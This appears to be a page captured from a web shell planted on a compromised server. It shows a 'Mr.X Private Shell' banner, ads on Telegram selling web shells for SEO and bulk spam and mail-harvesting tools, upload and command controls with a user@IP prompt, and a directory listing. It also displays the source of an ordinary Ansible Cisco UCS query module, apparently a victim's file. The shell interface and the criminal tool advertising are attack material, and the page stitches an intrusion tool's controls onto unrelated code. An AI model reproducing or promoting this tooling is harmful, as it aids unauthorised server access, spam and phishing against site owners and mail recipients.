����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

ANSIBLE_METADATA = {'metadata_version': '1.1',
                    'status': ['preview'],
                    'supported_by': 'community'}

DOCUMENTATION = r'''
---
module: ucs_query

short_description: Queries UCS Manager objects by class or distinguished name

description:
  -Queries UCS Manager objects by class or distinguished name.

extends_documentation_fragment: cisco.ucs.ucs

options:
    class_ids:
        description:
        - One or more UCS Manager Class IDs to query.
        - As a comma separated list
        type: str

    distinguished_names:
        description:
        - One or more UCS Manager Distinguished Names to query.
        - As a comma separated list
        type: str

    delegate_to:
        description:
        - Where the module will be run
        default: localhost
        type: str

requirements:
    - ucsmsdk

author:
    - John McDonough (@movinalot)
    - CiscoUcs (@CiscoUcs)
version_added: "2.8"
'''

EXAMPLES = r'''
- name: Query UCS Class ID
  cisco.ucs.ucs_query:
    hostname: "{{ ucs_hostname }}"
    username: "{{ ucs_username }}"
    password: "{{ ucs_password }}"
    class_ids: computeBlade
    delegate_to: localhost

- name: Query UCS Class IDs
  cisco.ucs.ucs_query:
    hostname: "{{ ucs_hostname }}"
    username: "{{ ucs_username }}"
    password: "{{ ucs_password }}"
    class_ids: computeBlade, fabricVlan
    delegate_to: localhost

- name: Query UCS Distinguished Name
  cisco.ucs.ucs_query:
    hostname: "{{ ucs_hostname }}"
    username: "{{ ucs_username }}"
    password: "{{ ucs_password }}"
    distinguished_names: org-root
    delegate_to: localhost

- name: Query UCS Distinguished Names
  cisco.ucs.ucs_query:
    hostname: "{{ ucs_hostname }}"
    username: "{{ ucs_username }}"
    password: "{{ ucs_password }}"
    distinguished_names: org-root, sys/rack-unit-1, sys/chassis-1/blade-2
    delegate_to: localhost
'''

RETURN = '''
objects:
    description: results JSON encodded
    type: dict
'''

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.ucs.plugins.module_utils.ucs import UCSModule, ucs_argument_spec


def retrieve_class_id(class_id, ucs):
    return ucs.login_handle.query_classid(class_id)


def retrieve_distinguished_name(distinguished_name, ucs):
    return ucs.login_handle.query_dn(distinguished_name)


def make_mo_dict(ucs_mo):
    obj_dict = {}
    for mo_property in ucs_mo.prop_map.values():
        obj_dict[mo_property] = getattr(ucs_mo, mo_property)
    return obj_dict


def main():
    argument_spec = ucs_argument_spec
    argument_spec.update(
        class_ids=dict(type='str'),
        distinguished_names=dict(type='str'),
        delegate_to=dict(type='str', default='localhost'),
    )

    module = AnsibleModule(
        argument_spec,
        supports_check_mode=False,
        mutually_exclusive=[
            ['class_ids', 'distinguished_names'],
        ],
    )

    # UCSModule verifies ucsmsdk is present and exits on failure.
    # Imports are below for UCS object creation.
    ucs = UCSModule(module)
    err = False
    query_result = {}

    try:
        if module.params['class_ids']:
            class_ids = [
                x.strip() for x in module.params['class_ids'].split(',')
            ]
            for class_id in class_ids:
                query_result[class_id] = []
                ucs_mos = retrieve_class_id(class_id, ucs)
                if ucs_mos:
                    for ucs_mo in ucs_mos:
                        query_result[class_id].append(make_mo_dict(ucs_mo))

            ucs.result['objects'] = query_result

        elif module.params['distinguished_names']:
            distinguished_names = [
                x.strip()
                for x in module.params['distinguished_names'].split(',')
            ]
            for distinguished_name in distinguished_names:
                query_result[distinguished_name] = {}
                ucs_mo = retrieve_distinguished_name(distinguished_name, ucs)

                if ucs_mo:
                    query_result[distinguished_name] = make_mo_dict(ucs_mo)

            ucs.result['objects'] = query_result

    except Exception as e:
        err = True
        ucs.result['msg'] = "setup error: %s " % str(e)

    if err:
        module.fail_json(**ucs.result)

    module.exit_json(**ucs.result)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
ucs_disk_group_policy.py File 16.42 KB 0644
ucs_dns_server.py File 4.41 KB 0644
ucs_graphics_card_policy.py File 7.34 KB 0644
ucs_ip_pool.py File 16.87 KB 0644
ucs_lan_connectivity.py File 12.58 KB 0644
ucs_mac_pool.py File 6.29 KB 0644
ucs_managed_objects.py File 8.4 KB 0644
ucs_ntp_server.py File 4.55 KB 0644
ucs_org.py File 6.5 KB 0644
ucs_query.py File 4.48 KB 0644
ucs_san_connectivity.py File 9.69 KB 0644
ucs_scrub_policy.py File 9.52 KB 0644
ucs_serial_over_lan_policy.py File 7.7 KB 0644
ucs_server_maintenance.py File 5.68 KB 0644
ucs_service_profile_association.py File 9.65 KB 0644
ucs_service_profile_from_template.py File 6.14 KB 0644
ucs_service_profile_template.py File 20.8 KB 0644
ucs_sp_vnic_order.py File 6.5 KB 0644
ucs_storage_profile.py File 9.16 KB 0644
ucs_system_qos.py File 5.18 KB 0644
ucs_timezone.py File 4.78 KB 0644
ucs_uuid_pool.py File 7.03 KB 0644
ucs_vhba_template.py File 10.85 KB 0644
ucs_vlan_find.py File 3.3 KB 0644
ucs_vlan_to_group.py File 4.93 KB 0644
ucs_vlans.py File 6.71 KB 0644
ucs_vnic_template.py File 15.91 KB 0644
ucs_vsans.py File 7.3 KB 0644
ucs_wwn_pool.py File 8.43 KB 0644